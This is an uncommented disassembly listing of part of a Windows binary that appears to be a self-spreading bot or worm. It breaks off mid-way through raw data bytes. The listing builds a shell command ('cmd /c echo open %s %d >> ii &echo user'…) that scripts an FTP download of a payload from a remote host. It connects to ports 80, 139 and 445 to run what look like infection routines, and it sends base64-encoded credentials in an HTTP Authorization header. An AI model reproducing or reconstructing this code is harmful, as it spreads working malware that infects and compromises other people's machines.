lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289AC lea ecx, [ebp+var_48] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038B5 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_403DF2 ; --------------------------------------------------------------------------- loc_403DE4: ; CODE XREF: sub_403A90+1Bj ; sub_403A90+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_403DF2: ; CODE XREF: sub_403A90+352j pop edi pop ebx leave retn sub_403A90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF6 proc near ; CODE XREF: sub_403EBA+A1p ; sub_403EBA+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_403E5D lea eax, [ebp+var_10C] push eax push esi call sub_422A46 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_403E61 loc_403E5D: ; CODE XREF: sub_403DF6+54j xor eax, eax jmp short loc_403E71 ; --------------------------------------------------------------------------- loc_403E61: ; CODE XREF: sub_403DF6+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_43ADB0 loc_403E71: ; CODE XREF: sub_403DF6+69j pop edi pop esi leave retn sub_403DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E75 proc near ; CODE XREF: sub_403EBA+81p ; sub_403EBA+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_43AD94 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 4 jz short loc_403E9F xor al, al leave retn ; --------------------------------------------------------------------------- loc_403E9F: ; CODE XREF: sub_403E75+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_43ADE8 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_403E75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403EBA proc near ; CODE XREF: sub_403F94+48p ; ___:00404406p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_403EE3 xor al, al jmp loc_403F8F ; --------------------------------------------------------------------------- loc_403EE3: ; CODE XREF: sub_403EBA+20j push ebx push 0 push esi call sub_417330 push 2Fh push offset dword_4286E4 push esi call sub_417390 push 8 lea eax, [esi+31h] push offset dword_428714 push eax mov [esi+2Fh], di call sub_417390 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_417390 push 6 add ebx, edi push offset dword_436EEC push ebx call sub_417390 mov ebx, [ebp+arg_0] push 85h push offset dword_42865C push ebx call sub_403E75 add esp, 48h test al, al jnz short loc_403F4B loc_403F47: ; CODE XREF: sub_403EBA+B5j xor bl, bl jmp short loc_403F86 ; --------------------------------------------------------------------------- loc_403F4B: ; CODE XREF: sub_403EBA+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 push [ebp+var_4] push esi push ebx call sub_403E75 add esp, 1Ch test al, al jz short loc_403F47 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 add esp, 10h mov bl, 1 loc_403F86: ; CODE XREF: sub_403EBA+8Fj push esi call sub_417C3B pop ecx mov al, bl loc_403F8F: ; CODE XREF: sub_403EBA+24j pop edi pop esi pop ebx leave retn sub_403EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F94 proc near ; CODE XREF: ___:004043ECp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_428720 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_403FCF push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_403DF6 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_403FCF cmp [ebp+var_20], 82h jz short loc_403FD3 loc_403FCF: ; CODE XREF: sub_403F94+1Bj ; sub_403F94+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_403FD3: ; CODE XREF: sub_403F94+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403EBA add esp, 0Ch leave retn sub_403F94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE6 proc near ; CODE XREF: sub_404032+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_424278 call sub_417DC4 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_424270 fstp [esp+10h+var_10] call sub_417CA4 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_417DC4 inc eax leave retn sub_403FE6 endp ; =============== S U B R O U T I N E ======================================= sub_404032 proc near ; CODE XREF: sub_4041D4+24p var_40 = qword ptr -40h mov eax, offset loc_4230E7 call sub_418290 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_404667 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_403FE6 cmp [ebp-2Ch], eax pop ecx jnb short loc_404074 push edi push eax lea ecx, [ebp-38h] call sub_4045E2 loc_404074: ; CODE XREF: sub_404032+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_404191 mov ebx, [ebp+10h] loc_404083: ; CODE XREF: sub_404032+156j cmp dword ptr [ebp+10h], 3 jb short loc_40408D push 3 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_404032+55j cmp dword ptr [ebp+10h], 2 jnz short loc_404097 push 2 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_404097: ; CODE XREF: sub_404032+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_4040A0 push 1 loc_40409F: ; CODE XREF: sub_404032+59j ; sub_404032+63j pop ebx loc_4040A0: ; CODE XREF: sub_404032+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_424288 fstp [esp+40h+var_40] call sub_417DEB pop ecx pop ecx call sub_417DC4 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_4040DF mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_4040DF: ; CODE XREF: sub_404032+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40414D add [ebp-18h], eax loc_404131: ; CODE XREF: sub_404032+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_42876C[eax] push eax push 1 call sub_404464 inc esi cmp esi, [ebp-1Ch] jb short loc_404131 loc_40414D: ; CODE XREF: sub_404032+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40416B push dword ptr [ebp+14h] call sub_417AB0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_4044BD mov [ebp-18h], edi loc_40416B: ; CODE XREF: sub_404032+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_404185 sub esi, [ebp-1Ch] loc_404176: ; CODE XREF: sub_404032+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_404464 dec esi jnz short loc_404176 loc_404185: ; CODE XREF: sub_404032+13Fj cmp [ebp+10h], edi ja loc_404083 push 1 pop ebx loc_404191: ; CODE XREF: sub_404032+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_404667 push dword_424280 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_404514 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_404667 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_404032 endp ; =============== S U B R O U T I N E ======================================= sub_4041D4 proc near ; CODE XREF: ___:004043CFp mov eax, offset loc_423104 call sub_418290 sub esp, 10h push ebx push esi push edi push offset byte_436EDC lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_404032 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_417B89 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40421E xor bl, bl jmp short loc_404262 ; --------------------------------------------------------------------------- loc_40421E: ; CODE XREF: sub_4041D4+44j mov ecx, [ebp-18h] mov eax, offset dword_424290 cmp ecx, ebx jnz short loc_40422C mov ecx, eax loc_40422C: ; CODE XREF: sub_4041D4+54j cmp [ebp+18h], ebx jz short loc_404234 mov eax, [ebp+18h] loc_404234: ; CODE XREF: sub_4041D4+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41782A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_43ADE8 cmp eax, esi jz short loc_404259 xor bl, bl jmp short loc_40425B ; --------------------------------------------------------------------------- loc_404259: ; CODE XREF: sub_4041D4+7Fj mov bl, 1 loc_40425B: ; CODE XREF: sub_4041D4+83j push edi call sub_417C3B pop ecx loc_404262: ; CODE XREF: sub_4041D4+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_404667 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_404667 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4041D4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_428918 push eax call sub_417390 add esp, 0Ch mov eax, offset byte_42F674 push eax push eax push dword_436F0C push dword ptr [ebp+8] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp-391h] push 400h push eax call sub_41782A add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_4287B0 push eax call sub_403A90 xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40432B xor eax, eax jmp loc_404457 ; --------------------------------------------------------------------------- loc_40432B: ; CODE XREF: ___:00404322j mov [ebp-0Ch], esi loc_40432E: ; CODE XREF: ___:0040442Ej test esi, esi jnz loc_404434 push 6 push 1 push 2 call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40441C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_43AD98 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_43ADD8 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_404411 cmp dword ptr [ebp+0A8h], 50h jnz short loc_4043D9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_404667 lea eax, [ebp+0Ch] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_4046A3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_4041D4 add esp, 1Ch jmp short loc_40440E ; --------------------------------------------------------------------------- loc_4043D9: ; CODE XREF: ___:00404397j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_4043F3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403F94 jmp short loc_40440B ; --------------------------------------------------------------------------- loc_4043F3: ; CODE XREF: ___:004043E3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_404411 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403EBA loc_40440B: ; CODE XREF: ___:004043F1j add esp, 0Ch loc_40440E: ; CODE XREF: ___:004043D7j movzx esi, al loc_404411: ; CODE XREF: ___:0040438Aj ; ___:004043FDj push ebx call dword_43AE30 test esi, esi jnz short loc_404427 loc_40441C: ; CODE XREF: ___:00404347j push 3E8h nop call near ptr 2620000h loc_404427: ; CODE XREF: ___:0040441Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40432E loc_404434: ; CODE XREF: ___:00404330j lea ecx, [ebp-8] call sub_4038B5 test esi, esi jz short loc_404455 mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_404455: ; CODE XREF: ___:0040443Ej mov eax, esi loc_404457: ; CODE XREF: ___:00404326j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230C8 loc_40445C: ; CODE XREF: sub_4230C8+3j ; ___:004230E1j ... push 1 call sub_404667 retn ; END OF FUNCTION CHUNK FOR sub_4230C8 ; =============== S U B R O U T I N E ======================================= sub_404464 proc near ; CODE XREF: sub_404032+110p ; sub_404032+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40447E call sub_42298A loc_40447E: ; CODE XREF: sub_404464+13j test ebx, ebx jbe short loc_4044B5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_4044B5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_417330 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4044B5: ; CODE XREF: sub_404464+1Cj ; sub_404464+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404464 endp ; =============== S U B R O U T I N E ======================================= sub_4044BD proc near ; CODE XREF: sub_404032+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4044D7 call sub_42298A loc_4044D7: ; CODE XREF: sub_4044BD+13j test ebx, ebx jbe short loc_40450C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_40450C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40450C: ; CODE XREF: sub_4044BD+1Cj ; sub_4044BD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4044BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404514 proc near ; CODE XREF: sub_404032+17Cp ; sub_4228A0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40452C call sub_422863 loc_40452C: ; CODE XREF: sub_404514+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40453E mov esi, [ebp+arg_8] loc_40453E: ; CODE XREF: sub_404514+25j cmp edi, ebx jnz short loc_404560 push dword_424280 add esi, ecx mov ecx, edi push esi call sub_4046D8 push [ebp+arg_4] mov ecx, edi push 0 call sub_4046D8 jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_404560: ; CODE XREF: sub_404514+2Cj test esi, esi jbe short loc_4045A3 cmp esi, eax jnz short loc_4045A3 mov eax, [ebx+4] test eax, eax jnz short loc_404574 mov eax, offset dword_424290 loc_404574: ; CODE XREF: sub_404514+59j cmp byte ptr [eax-1], 0FEh jnb short loc_4045A3 push 1 mov ecx, edi call sub_404667 mov eax, [ebx+4] test eax, eax jnz short loc_40458F mov eax, offset dword_424290 loc_40458F: ; CODE XREF: sub_404514+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_4045A3: ; CODE XREF: sub_404514+4Ej ; sub_404514+52j ... push 1 push esi mov ecx, edi call sub_4045E2 test al, al jz short loc_4045D9 mov eax, [ebx+4] test eax, eax jnz short loc_4045BD mov eax, offset dword_424290 loc_4045BD: ; CODE XREF: sub_404514+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_417390 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_4045D9: ; CODE XREF: sub_404514+4Aj ; sub_404514+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_404514 endp ; =============== S U B R O U T I N E ======================================= sub_4045E2 proc near ; CODE XREF: sub_404032+3Dp ; sub_404464+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_4045F4 call sub_42298A loc_4045F4: ; CODE XREF: sub_4045E2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40461D mov al, [ecx-1] cmp al, dl jz short loc_40461D cmp al, 0FFh jz short loc_40461D cmp edi, edx jnz short loc_404658 dec al push edx mov [ecx-1], al loc_404612: ; CODE XREF: sub_4045E2+47j mov ecx, esi call sub_404667 loc_404619: ; CODE XREF: sub_4045E2+4Bj ; sub_4045E2+52j xor al, al jmp short loc_404662 ; --------------------------------------------------------------------------- loc_40461D: ; CODE XREF: sub_4045E2+19j ; sub_4045E2+20j ... cmp edi, edx jnz short loc_404636 cmp [esp+8+arg_4], dl jz short loc_40462B push 1 jmp short loc_404612 ; --------------------------------------------------------------------------- loc_40462B: ; CODE XREF: sub_4045E2+43j cmp ecx, edx jz short loc_404619 mov [esi+8], edx mov [ecx], dl jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404636: ; CODE XREF: sub_4045E2+3Dj cmp [esp+8+arg_4], dl jz short loc_404653 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_404648 cmp eax, edi jnb short loc_404660 loc_404648: ; CODE XREF: sub_4045E2+60j push 1 mov ecx, esi call sub_404667 jmp short loc_404658 ; --------------------------------------------------------------------------- loc_404653: ; CODE XREF: sub_4045E2+58j cmp [esi+0Ch], edi jnb short loc_404660 loc_404658: ; CODE XREF: sub_4045E2+28j ; sub_4045E2+6Fj push edi mov ecx, esi call sub_40473F loc_404660: ; CODE XREF: sub_4045E2+64j ; sub_4045E2+74j mov al, 1 loc_404662: ; CODE XREF: sub_4045E2+39j pop edi pop esi retn 8 sub_4045E2 endp ; =============== S U B R O U T I N E ======================================= sub_404667 proc near ; CODE XREF: sub_404032+1Fp ; sub_404032+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_404693 mov eax, [esi+4] test eax, eax jz short loc_404693 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40468C cmp al, 0FFh jz short loc_40468C dec al mov [ecx], al jmp short loc_404693 ; --------------------------------------------------------------------------- loc_40468C: ; CODE XREF: sub_404667+19j ; sub_404667+1Dj push ecx call sub_4182AF pop ecx loc_404693: ; CODE XREF: sub_404667+8j ; sub_404667+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_404667 endp ; =============== S U B R O U T I N E ======================================= sub_4046A3 proc near ; CODE XREF: ___:004043C3p ; sub_4047FC+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_4045E2 test al, al jz short loc_4046D1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4046D1: ; CODE XREF: sub_4046A3+12j mov eax, esi pop edi pop esi retn 8 sub_4046A3 endp ; =============== S U B R O U T I N E ======================================= sub_4046D8 proc near ; CODE XREF: sub_404514+39p ; sub_404514+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_4046EB call sub_422863 loc_4046EB: ; CODE XREF: sub_4046D8+Cj mov ecx, edi call sub_4047FC mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_404701 mov ebx, eax loc_404701: ; CODE XREF: sub_4046D8+25j test ebx, ebx jbe short loc_404737 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_4182C0 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_4045E2 test al, al jz short loc_404737 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404737: ; CODE XREF: sub_4046D8+2Bj ; sub_4046D8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_4046D8 endp ; =============== S U B R O U T I N E ======================================= sub_40473F proc near ; CODE XREF: sub_4045E2+79p mov eax, offset loc_423110 call sub_418290 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_404765 mov edi, [ebp+8] loc_404765: ; CODE XREF: sub_40473F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_404772 xor eax, eax loc_404772: ; CODE XREF: sub_40473F+2Fj push eax call sub_4185F5 pop ecx mov [ebp+8], eax jmp short loc_4047A3 ; --------------------------------------------------------------------------- loc_40477E: ; DATA XREF: ___:00424F9Co mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40478D xor eax, eax loc_40478D: ; CODE XREF: sub_40473F+4Aj push eax call sub_4185F5 mov [ebp+8], eax pop ecx mov eax, offset loc_40479D retn ; --------------------------------------------------------------------------- loc_40479D: ; DATA XREF: sub_40473F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_4047A3: ; CODE XREF: sub_40473F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_4047C1 cmp eax, edi jbe short loc_4047B0 mov eax, edi loc_4047B0: ; CODE XREF: sub_40473F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_417390 add esp, 0Ch loc_4047C1: ; CODE XREF: sub_40473F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_404667 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_4047E1 mov edi, ebx loc_4047E1: ; CODE XREF: sub_40473F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40473F endp ; =============== S U B R O U T I N E ======================================= sub_4047FC proc near ; CODE XREF: sub_4046D8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_404829 mov al, [esi-1] test al, al jz short loc_404829 cmp al, 0FFh jz short loc_404829 push 1 call sub_404667 push esi call sub_417AB0 pop ecx push eax push esi mov ecx, edi call sub_4046A3 loc_404829: ; CODE XREF: sub_4047FC+9j ; sub_4047FC+10j ... pop edi pop esi retn sub_4047FC endp ; =============== S U B R O U T I N E ======================================= sub_40482C proc near ; DATA XREF: ___:00426008o test byte_4CDCAC, 1 jnz short loc_40483C or byte_4CDCAC, 1 loc_40483C: ; CODE XREF: sub_40482C+7j jmp $+5 push offset nullsub_1 call sub_418670 pop ecx retn sub_40482C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40484E proc near ; DATA XREF: ___:0042600Co jmp $+5 sub_40484E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404853 proc near mov eax, dword_428BE0 add eax, 6 mov dword_436EF8, eax retn sub_404853 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404861 proc near ; CODE XREF: sub_404861+D0p ; ___:00404DC0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_404875 or [ebp+arg_7], 1 jmp short loc_404879 ; --------------------------------------------------------------------------- loc_404875: ; CODE XREF: sub_404861+Cj and [ebp+arg_7], 0FEh loc_404879: ; CODE XREF: sub_404861+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40489D or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_4048AF ; --------------------------------------------------------------------------- loc_40489D: ; CODE XREF: sub_404861+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_4048AF: ; CODE XREF: sub_404861+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_417B89 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_404948 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call near ptr 2640000h nop test eax, eax jz short loc_40493F mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40493F push [ebp+arg_20] call sub_417C3B cmp [ebp+arg_2B], 0 pop ecx jz short loc_40493B push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_404861 add esp, 2Ch jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_404861+B3j mov al, 1 jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493F: ; CODE XREF: sub_404861+9Cj ; sub_404861+A4j push [ebp+arg_20] call sub_417C3B pop ecx loc_404948: ; CODE XREF: sub_404861+61j xor al, al loc_40494A: ; CODE XREF: sub_404861+D8j ; sub_404861+DCj pop edi pop esi pop ebx leave retn sub_404861 endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 0B8h ; ╦ db 0DCh ; э db 60h ; ` db 0 db 0 db 0E8h ; Х db 0D4h ; т db 31h ; 1 db 1 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 5Ch ; \ db 8Ch ; ▄ db 42h ; B db 0 db 